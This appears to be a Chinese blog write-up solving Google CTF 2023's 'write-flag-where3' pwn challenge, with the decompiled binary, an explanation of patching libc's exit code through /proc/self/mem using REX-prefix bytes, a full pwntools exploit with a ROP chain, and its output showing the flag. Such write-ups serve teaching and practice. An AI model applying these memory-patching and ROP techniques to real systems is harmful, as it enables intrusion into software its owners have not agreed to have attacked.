[Google CTF 2023]pwn-write-flag-where3

selph
selph
发布于 2023-10-26 / 89 阅读
0
0

[Google CTF 2023]pwn-write-flag-where3

题目分析

int __cdecl main(int argumentCount, const char **arguments, const char **environmentVariables)
{
  __int64 buffer[9]; // [rsp+0h] [rbp-70h] BYREF
  _DWORD numbers[3]; // [rsp+4Ch] [rbp-24h] BYREF
  int fileDescriptor1; // [rsp+58h] [rbp-18h]
  int bytesRead; // [rsp+5Ch] [rbp-14h]
  int fileDescriptor2; // [rsp+60h] [rbp-10h]
  int fileDescriptor3; // [rsp+64h] [rbp-Ch]
  int fileDescriptor4; // [rsp+68h] [rbp-8h]
  int mapsFileDescriptor; // [rsp+6Ch] [rbp-4h]

  mapsFileDescriptor = open("/proc/self/maps", 0, environmentVariables);
  read(mapsFileDescriptor, maps, 0x1000uLL);
  close(mapsFileDescriptor);
  fileDescriptor4 = open("./flag.txt", 0);
  if ( fileDescriptor4 == -1 )
  {
    puts("flag.txt not found");
    return 1;
  }
  else
  {
    if ( read(fileDescriptor4, &flag, 0x80uLL) > 0 )
    {
      close(fileDescriptor4);
      fileDescriptor3 = dup2(1, 1337);
      fileDescriptor2 = open("/dev/null", 2);
      dup2(fileDescriptor2, 0);
      dup2(fileDescriptor2, 1);
      dup2(fileDescriptor2, 2);
      close(fileDescriptor2);
      alarm(0x3Cu);
      dprintf(
        fileDescriptor3,
        "Your skills are considerable, I'm sure you'll agree\n"
        "But this final level's toughness fills me with glee\n"
        "No writes to my binary, this I require\n"
        "For otherwise I will surely expire\n");
      dprintf(fileDescriptor3, "%s\n\n", maps);
      while ( 1 )
      {
        memset(buffer, 0, 64);
        bytesRead = read(fileDescriptor3, buffer, 0x40uLL);
        if ( (unsigned int)__isoc99_sscanf(buffer, "0x%llx %u", &numbers[1], numbers) != 2
          || numbers[0] > 0x7Fu
          || *(_QWORD *)&numbers[1] >= (unsigned __int64)main - 0x5000// 新增了2个条件
          && (unsigned __int64)main + 0x5000 >= *(_QWORD *)&numbers[1] )// 输入的地址需要不能在main+-0x5000之间
                                                // 只能修改栈或者libc的内容
        {
          break;
        }
        fileDescriptor1 = open("/proc/self/mem", 2);// 跟之前一样
        lseek64(fileDescriptor1, *(__off64_t *)&numbers[1], 0);
        write(fileDescriptor1, &flag, numbers[0]);
        close(fileDescriptor1);
      }
      exit(0);                                  // 之后有打印
    }
    puts("flag.txt empty");
    return 1;
  }
}

相比于2,这里在2的基础上,禁止了对elf文件本身的修改(把2的操作给限制了),能操作修改的范围只有栈和libc了

前置知识

寄存器扩展前缀(REX前缀,REX Prefixes):REX前缀能在64位模式下扩展AMD64寄存器的用法,REX前缀的值介于40h到4Fh之间,具体取值取决于所期望的特定的扩展寄存器的组合。一条指令只能有一个REX前缀,必须紧接在指令的第一个操作码字节之前。 REX前缀在其他任何位置都将被忽略。(参考资料[1])

利用分析

flag格式中第一个字符C​​,对应的值刚好是0x43,可以作为REX前缀,通过修改指令,可以让一些原本有功能的指令变滑板,类似nop的作用,跳过一些指令

不能从elf中跳过exit的调用,因为知道libc基地址,也能进行任意地址写入,那就可以从libc层面把exit功能给禁用掉!

在程序中,最后会调用exit​这个函数位于libc里:

          public exit
.text:00000000000455F0                               exit proc near                          ; CODE XREF: sub_29D10:loc_29D92↑p
.text:00000000000455F0                               ; __unwind {
.text:00000000000455F0 F3 0F 1E FA                   endbr64
.text:00000000000455F4 50                            push    rax
.text:00000000000455F5 58                            pop     rax
.text:00000000000455F6 B9 01 00 00 00                mov     ecx, 1
.text:00000000000455FB BA 01 00 00 00                mov     edx, 1
.text:0000000000045600 48 8D 35 31 42 1D 00          lea     rsi, off_219838
.text:0000000000045607 48 83 EC 08                   sub     rsp, 8				; 修改这里,不要动栈
.text:000000000004560B E8 80 FD FF FF                call    sub_45390			; 修改这里,不要进入函数
.text:000000000004560B                               ; } // starts at 455F0
.text:000000000004560B
.text:000000000004560B                               exit endp

修改exit之后,让他不要进入下一层函数,就会向下直接执行下去:

.text:0000000000045610
.text:0000000000045610                               public on_exit ; weak
.text:0000000000045610                               on_exit proc near                       ; DATA XREF: LOAD:000000000000B550↑o
.text:0000000000045610                               ; __unwind {
.text:0000000000045610 F3 0F 1E FA                   endbr64						;修改这里,不要动栈
.text:0000000000045614 41 54                         push    r12
.text:0000000000045616 55                            push    rbp					;修改这里,不要动栈
.text:0000000000045617 53                            push    rbx
.text:0000000000045618 48 85 FF                      test    rdi, rdi				;修改这里,不要跳转
.text:000000000004561B 0F 84 89 00 00 00             jz      loc_456AA			
.text:000000000004561B
.text:0000000000045621 48 8D 2D C0 58 1D 00          lea     rbp, unk_21AEE8
.text:0000000000045628 48 89 FB                      mov     rbx, rdi
.text:000000000004562B 49 89 F4                      mov     r12, rsi
.text:000000000004562E 31 C0                         xor     eax, eax
.text:0000000000045630 BA 01 00 00 00                mov     edx, 1
.text:0000000000045635 F0 0F B1 55 00                lock cmpxchg [rbp+0], edx
.text:000000000004563A 75 4C                         jnz     short loc_45688
.text:000000000004563A
.text:000000000004563C
.text:000000000004563C                               loc_4563C:                              ; CODE XREF: on_exit+80↓j
.text:000000000004563C 48 8D 3D F5 41 1D 00          lea     rdi, off_219838
.text:0000000000045643 E8 88 00 00 00                call    sub_456D0
.text:0000000000045643
.text:0000000000045648 48 85 C0                      test    rax, rax
.text:000000000004564B 74 45                         jz      short loc_45692
.text:000000000004564B
.text:000000000004564D 4C 89 60 10                   mov     [rax+10h], r12
.text:0000000000045651 48 89 DF                      mov     rdi, rbx
.text:0000000000045654 48 C7 00 02 00 00 00          mov     qword ptr [rax], 2
.text:000000000004565B 64 48 33 3C 25 30 00 00 00    xor     rdi, fs:30h
.text:0000000000045664 48 C1 C7 11                   rol     rdi, 11h
.text:0000000000045668 48 89 78 08                   mov     [rax+8], rdi
.text:000000000004566C 31 C0                         xor     eax, eax
.text:000000000004566E 87 45 00                      xchg    eax, [rbp+0]
.text:0000000000045671 45 31 E4                      xor     r12d, r12d
.text:0000000000045674 83 F8 01                      cmp     eax, 1
.text:0000000000045677 7F 27                         jg      short loc_456A0
.text:0000000000045677
.text:0000000000045679
.text:0000000000045679                               loc_45679:                              ; CODE XREF: on_exit+8E↓j
.text:0000000000045679                                                                       ; on_exit+98↓j
.text:0000000000045679 44 89 E0                      mov     eax, r12d
.text:000000000004567C 5B                            pop     rbx
.text:000000000004567D 5D                            pop     rbp
.text:000000000004567E 41 5C                         pop     r12
.text:0000000000045680 C3                            retn
.text:0000000000045680

整个过程中阻止对栈的修改,因为在进入exit函数的时候,栈顶刚好是输入缓冲区buffer

在exit函数中,让栈顶不要改变,pop次数比push次数多一次,刚好把入栈的缓冲区作为返回地址传入给rip,当再次执行ret的时候,就会进入栈中可控区域,进行ROP了

ROP这里要注意的点就是,在上面把标准输出1重定向到了1337,所以需要使用write函数,且第一个参数为1337,才能成功输出结果

所以就需要构造rop来完成这个事情

exp:

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)

FILE_NAME = "./chal"
REMOTE_HOST = "wfw3.2023.ctfcompetition.com"
REMOTE_PORT = 1337

elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
b main
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

io = start()

# =============================================================================
# ============== exploit ===================

def edit(addr, offset):
    io.send(f"{hex(addr)} {offset}".ljust(64,'\x00'))

sleep(2)
io.recvuntil(b"expire\n")
elf.address = int(io.recv(12),16)
for i in range(7):
    io.recvline()
base = io.recv(12)
libc.address = int(base,16)
print(hex(elf.address))
print(hex(libc.address))

# 修改libc的exit函数
io.recvuntil(b"\n\n\n")
edit(libc.address + 0x45607, 1)
edit(libc.address + 0x4560B, 1)
edit(libc.address + 0x4560B+4, 1)
edit(libc.address + 0x45610, 1)
edit(libc.address + 0x45611, 1)
edit(libc.address + 0x45612, 1)
edit(libc.address + 0x45613, 1)
edit(libc.address + 0x45616, 1)
edit(libc.address + 0x45618, 1)
edit(libc.address + 0x45619, 1)
edit(libc.address + 0x4561a, 1)
"""
0x000000000011f497 : pop rdx ; pop r12 ; ret
0x000000000002a3e5 : pop rdi ; ret
0x000000000002be51 : pop rsi ; ret

write
0000000000001458

"""
pop_rdx_r12 = libc.address + 0x000000000011f497
pop_rdi     = libc.address + 0x000000000002a3e5
pop_rsi     = libc.address + 0x000000000002be51
call_write  = elf.address + 0x1458
flag        = elf.address + 0x50a0

"""
write(1337,flag,n)
rdi = 1337
rsi = flag
rdx = n
"""

# 构造rop
payload = b""
payload += pack(pop_rdi) + pack(1337)
payload += pack(pop_rsi) + pack(flag)
payload += pack(pop_rdx_r12) + pack(0x40)*2
payload += pack(call_write) 

io.send(payload)

# =============================================================================

io.interactive()

输出:

➜  write-flag-where3 python3 exp.py REMOTE
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where3/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where3/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to wfw3.2023.ctfcompetition.com on port 1337: Done
0x562a27a46000
0x7f3c3f275000
[*] Switching to interactive mode
CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive

参考资料:


评论